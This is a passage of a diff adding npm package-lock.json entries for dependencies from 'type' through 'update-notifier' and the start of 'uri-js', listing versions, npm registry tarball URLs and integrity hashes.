+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz",
+            "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg=="
+        },
+        "type-check": {
+            "version": "0.3.2",
+            "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
+            "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
+            "requires": {
+                "prelude-ls": "~1.1.2"
+            }
+        },
+        "type-fest": {
+            "version": "0.8.1",
+            "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
+            "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA=="
+        },
+        "type-is": {
+            "version": "1.6.18",
+            "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+            "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+            "requires": {
+                "media-typer": "0.3.0",
+                "mime-types": "~2.1.24"
+            }
+        },
+        "type-of": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/type-of/-/type-of-2.0.1.tgz",
+            "integrity": "sha512-39wxbwHdQ2sTiBB8wAzKfQ9GN+om8w+sjNWzr+vZJR5AMD5J+J7Yc8AtXnU9r/r2c8XiDZ/smxutDmZehX/qpQ=="
+        },
+        "typedarray": {
+            "version": "0.0.6",
+            "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
+            "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA=="
+        },
+        "typedarray-to-buffer": {
+            "version": "3.1.5",
+            "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
+            "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+            "requires": {
+                "is-typedarray": "^1.0.0"
+            }
+        },
+        "uglify-js": {
+            "version": "2.8.29",
+            "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz",
+            "integrity": "sha512-qLq/4y2pjcU3vhlhseXGGJ7VbFO4pBANu0kwl8VCa9KEI0V8VfZIx2Fy3w01iSTA/pGwKZSmu/+I4etLNDdt5w==",
+            "requires": {
+                "source-map": "~0.5.1",
+                "uglify-to-browserify": "~1.0.0",
+                "yargs": "~3.10.0"
+            }
+        },
+        "uglify-to-browserify": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz",
+            "integrity": "sha512-vb2s1lYx2xBtUgy+ta+b2J/GLVUR+wmpINwHePmPRhOsIVCG2wDzKJ0n14GslH1BifsqVzSOwQhRaCAsZ/nI4Q==",
+            "optional": true
+        },
+        "unbox-primitive": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
+            "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "has-bigints": "^1.0.2",
+                "has-symbols": "^1.0.3",
+                "which-boxed-primitive": "^1.0.2"
+            }
+        },
+        "unc-path-regex": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz",
+            "integrity": "sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg=="
+        },
+        "underscore.string": {
+            "version": "3.3.6",
+            "resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.6.tgz",
+            "integrity": "sha512-VoC83HWXmCrF6rgkyxS9GHv8W9Q5nhMKho+OadDJGzL2oDYbYEppBaCMH6pFlwLeqj2QS+hhkw2kpXkSdD1JxQ==",
+            "requires": {
+                "sprintf-js": "^1.1.1",
+                "util-deprecate": "^1.0.2"
+            }
+        },
+        "unherit": {
+            "version": "1.1.3",
+            "resolved": "https://registry.npmjs.org/unherit/-/unherit-1.1.3.tgz",
+            "integrity": "sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==",
+            "requires": {
+                "inherits": "^2.0.0",
+                "xtend": "^4.0.0"
+            }
+        },
+        "unicode-canonical-property-names-ecmascript": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
+            "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ=="
+        },
+        "unicode-match-property-ecmascript": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
+            "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+            "requires": {
+                "unicode-canonical-property-names-ecmascript": "^2.0.0",
+                "unicode-property-aliases-ecmascript": "^2.0.0"
+            }
+        },
+        "unicode-match-property-value-ecmascript": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz",
+            "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw=="
+        },
+        "unicode-property-aliases-ecmascript": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz",
+            "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ=="
+        },
+        "unified": {
+            "version": "8.4.2",
+            "resolved": "https://registry.npmjs.org/unified/-/unified-8.4.2.tgz",
+            "integrity": "sha512-JCrmN13jI4+h9UAyKEoGcDZV+i1E7BLFuG7OsaDvTXI5P0qhHX+vZO/kOhz9jn8HGENDKbwSeB0nVOg4gVStGA==",
+            "requires": {
+                "bail": "^1.0.0",
+                "extend": "^3.0.0",
+                "is-plain-obj": "^2.0.0",
+                "trough": "^1.0.0",
+                "vfile": "^4.0.0"
+            },
+            "dependencies": {
+                "is-buffer": {
+                    "version": "2.0.5",
+                    "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+                    "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ=="
+                },
+                "unist-util-stringify-position": {
+                    "version": "2.0.3",
+                    "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz",
+                    "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==",
+                    "requires": {
+                        "@types/unist": "^2.0.2"
+                    }
+                },
+                "vfile": {
+                    "version": "4.2.1",
+                    "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz",
+                    "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "is-buffer": "^2.0.0",
+                        "unist-util-stringify-position": "^2.0.0",
+                        "vfile-message": "^2.0.0"
+                    }
+                },
+                "vfile-message": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz",
+                    "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "unist-util-stringify-position": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "union-value": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
+            "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
+            "requires": {
+                "arr-union": "^3.1.0",
+                "get-value": "^2.0.6",
+                "is-extendable": "^0.1.1",
+                "set-value": "^2.0.1"
+            }
+        },
+        "uniq": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz",
+            "integrity": "sha512-Gw+zz50YNKPDKXs+9d+aKAjVwpjNwqzvNpLigIruT4HA9lMZNdMqs9x07kKHB/L9WRzqp4+DlTU5s4wG2esdoA=="
+        },
+        "uniqs": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz",
+            "integrity": "sha512-mZdDpf3vBV5Efh29kMw5tXoup/buMgxLzOt/XKFKcVmi+15ManNQWr6HfZ2aiZTYlYixbdNJ0KFmIZIv52tHSQ=="
+        },
+        "unique-filename": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
+            "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
+            "requires": {
+                "unique-slug": "^2.0.0"
+            }
+        },
+        "unique-slug": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
+            "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
+            "requires": {
+                "imurmurhash": "^0.1.4"
+            }
+        },
+        "unique-string": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
+            "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
+            "requires": {
+                "crypto-random-string": "^2.0.0"
+            }
+        },
+        "unist-builder": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/unist-builder/-/unist-builder-1.0.4.tgz",
+            "integrity": "sha512-v6xbUPP7ILrT15fHGrNyHc1Xda8H3xVhP7/HAIotHOhVPjH5dCXA097C3Rry1Q2O+HbOLCao4hfPB+EYEjHgVg==",
+            "requires": {
+                "object-assign": "^4.1.0"
+            }
+        },
+        "unist-util-generated": {
+            "version": "1.1.6",
+            "resolved": "https://registry.npmjs.org/unist-util-generated/-/unist-util-generated-1.1.6.tgz",
+            "integrity": "sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg=="
+        },
+        "unist-util-is": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz",
+            "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg=="
+        },
+        "unist-util-modify-children": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/unist-util-modify-children/-/unist-util-modify-children-2.0.0.tgz",
+            "integrity": "sha512-HGrj7JQo9DwZt8XFsX8UD4gGqOsIlCih9opG6Y+N11XqkBGKzHo8cvDi+MfQQgiZ7zXRUiQREYHhjOBHERTMdg==",
+            "requires": {
+                "array-iterate": "^1.0.0"
+            }
+        },
+        "unist-util-position": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-3.1.0.tgz",
+            "integrity": "sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA=="
+        },
+        "unist-util-position-from-estree": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-1.1.1.tgz",
+            "integrity": "sha512-xtoY50b5+7IH8tFbkw64gisG9tMSpxDjhX9TmaJJae/XuxQ9R/Kc8Nv1eOsf43Gt4KV/LkriMy9mptDr7XLcaw==",
+            "requires": {
+                "@types/unist": "^2.0.0"
+            }
+        },
+        "unist-util-remove": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/unist-util-remove/-/unist-util-remove-2.1.0.tgz",
+            "integrity": "sha512-J8NYPyBm4baYLdCbjmf1bhPu45Cr1MWTm77qd9istEkzWpnN6O9tMsEbB2JhNnBCqGENRqEWomQ+He6au0B27Q==",
+            "requires": {
+                "unist-util-is": "^4.0.0"
+            }
+        },
+        "unist-util-remove-position": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-4.0.1.tgz",
+            "integrity": "sha512-0yDkppiIhDlPrfHELgB+NLQD5mfjup3a8UYclHruTJWmY74je8g+CIFr79x5f6AkmzSwlvKLbs63hC0meOMowQ==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "unist-util-visit": "^4.0.0"
+            },
+            "dependencies": {
+                "unist-util-is": {
+                    "version": "5.1.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-5.1.1.tgz",
+                    "integrity": "sha512-F5CZ68eYzuSvJjGhCLPL3cYx45IxkqXSetCcRgUXtbcm50X2L9oOWQlfUfDdAf+6Pd27YDblBfdtmsThXmwpbQ=="
+                },
+                "unist-util-visit": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.0.tgz",
+                    "integrity": "sha512-n7lyhFKJfVZ9MnKtqbsqkQEk5P1KShj0+//V7mAcoI6bpbUjh3C/OG8HVD+pBihfh6Ovl01m8dkcv9HNqYajmQ==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "unist-util-is": "^5.0.0",
+                        "unist-util-visit-parents": "^5.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.0.tgz",
+                    "integrity": "sha512-y+QVLcY5eR/YVpqDsLf/xh9R3Q2Y4HxkZTp7ViLDU6WtJCEcPmRzW1gpdWDCDIqIlhuPDXOgttqPlykrHYDekg==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "unist-util-is": "^5.0.0"
+                    }
+                }
+            }
+        },
+        "unist-util-select": {
+            "version": "1.5.0",
+            "resolved": "https://registry.npmjs.org/unist-util-select/-/unist-util-select-1.5.0.tgz",
+            "integrity": "sha512-/Ukg/X76ljCVYbisAGJm0HOgy3MfYmjAdVOYUfBleuTtOmRZVzbW7+ZAQqJQi6ObITtcpRv7uNwoUG1RF7vJ9Q==",
+            "requires": {
+                "css-selector-parser": "^1.1.0",
+                "debug": "^2.2.0",
+                "nth-check": "^1.0.1"
+            },
+            "dependencies": {
+                "nth-check": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
+                    "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
+                    "requires": {
+                        "boolbase": "~1.0.0"
+                    }
+                }
+            }
+        },
+        "unist-util-stringify-position": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-3.0.2.tgz",
+            "integrity": "sha512-7A6eiDCs9UtjcwZOcCpM4aPII3bAAGv13E96IkawkOAW0OhH+yRxtY0lzo8KiHpzEMfH7Q+FizUmwp8Iqy5EWg==",
+            "requires": {
+                "@types/unist": "^2.0.0"
+            }
+        },
+        "unist-util-visit": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-2.0.3.tgz",
+            "integrity": "sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "unist-util-is": "^4.0.0",
+                "unist-util-visit-parents": "^3.0.0"
+            }
+        },
+        "unist-util-visit-children": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/unist-util-visit-children/-/unist-util-visit-children-1.1.4.tgz",
+            "integrity": "sha512-sA/nXwYRCQVRwZU2/tQWUqJ9JSFM1X3x7JIOsIgSzrFHcfVt6NkzDtKzyxg2cZWkCwGF9CO8x4QNZRJRMK8FeQ=="
+        },
+        "unist-util-visit-parents": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz",
+            "integrity": "sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "unist-util-is": "^4.0.0"
+            }
+        },
+        "universalify": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
+            "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="
+        },
+        "unixify": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/unixify/-/unixify-1.0.0.tgz",
+            "integrity": "sha512-6bc58dPYhCMHHuwxldQxO3RRNZ4eCogZ/st++0+fcC1nr0jiGUtAdBJ2qzmLQWSxbtz42pWt4QQMiZ9HvZf5cg==",
+            "requires": {
+                "normalize-path": "^2.1.1"
+            },
+            "dependencies": {
+                "normalize-path": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+                    "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+                    "requires": {
+                        "remove-trailing-separator": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "unpipe": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+            "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="
+        },
+        "unquote": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
+            "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg=="
+        },
+        "unset-value": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
+            "integrity": "sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==",
+            "requires": {
+                "has-value": "^0.3.1",
+                "isobject": "^3.0.0"
+            },
+            "dependencies": {
+                "has-value": {
+                    "version": "0.3.1",
+                    "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
+                    "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==",
+                    "requires": {
+                        "get-value": "^2.0.3",
+                        "has-values": "^0.1.4",
+                        "isobject": "^2.0.0"
+                    },
+                    "dependencies": {
+                        "isobject": {
+                            "version": "2.1.0",
+                            "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+                            "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==",
+                            "requires": {
+                                "isarray": "1.0.0"
+                            }
+                        }
+                    }
+                },
+                "has-values": {
+                    "version": "0.1.4",
+                    "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
+                    "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ=="
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "untildify": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz",
+            "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw=="
+        },
+        "upath": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+            "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg=="
+        },
+        "update-browserslist-db": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.5.tgz",
+            "integrity": "sha512-dteFFpCyvuDdr9S/ff1ISkKt/9YZxKjI9WlRR99c180GaztJtRa/fn18FdxGVKVsnPY7/a/FDN68mcvUmP4U7Q==",
+            "requires": {
+                "escalade": "^3.1.1",
+                "picocolors": "^1.0.0"
+            }
+        },
+        "update-notifier": {
+            "version": "5.1.0",
+            "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-5.1.0.tgz",
+            "integrity": "sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw==",
+            "requires": {
+                "boxen": "^5.0.0",
+                "chalk": "^4.1.0",
+                "configstore": "^5.0.1",
+                "has-yarn": "^2.1.0",
+                "import-lazy": "^2.1.0",
+                "is-ci": "^2.0.0",
+                "is-installed-globally": "^0.4.0",
+                "is-npm": "^5.0.0",
+                "is-yarn-global": "^0.3.0",
+                "latest-version": "^5.1.0",
+                "pupa": "^2.1.1",
+                "semver": "^7.3.4",
+                "semver-diff": "^3.1.1",
+                "xdg-basedir": "^4.0.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "boxen": {
+                    "version": "5.1.2",
+                    "resolved": "https://registry.npmjs.org/boxen/-/boxen-5.1.2.tgz",
+                    "integrity": "sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==",
+                    "requires": {
+                        "ansi-align": "^3.0.0",
+                        "camelcase": "^6.2.0",
+                        "chalk": "^4.1.0",
+                        "cli-boxes": "^2.2.1",
+                        "string-width": "^4.2.2",
+                        "type-fest": "^0.20.2",
+                        "widest-line": "^3.1.0",
+                        "wrap-ansi": "^7.0.0"
+                    }
+                },
+                "camelcase": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+                    "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA=="
+                },
+                "chalk": {
+                    "version": "4.1.2",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+                    "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+                    "requires": {
+                        "ansi-styles": "^4.1.0",
+                        "supports-color": "^7.1.0"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                },
+                "type-fest": {
+                    "version": "0.20.2",
+                    "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+                    "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ=="
+                }
+            }
+        },
+        "uri-js": {
+            "version": "4.4.1",
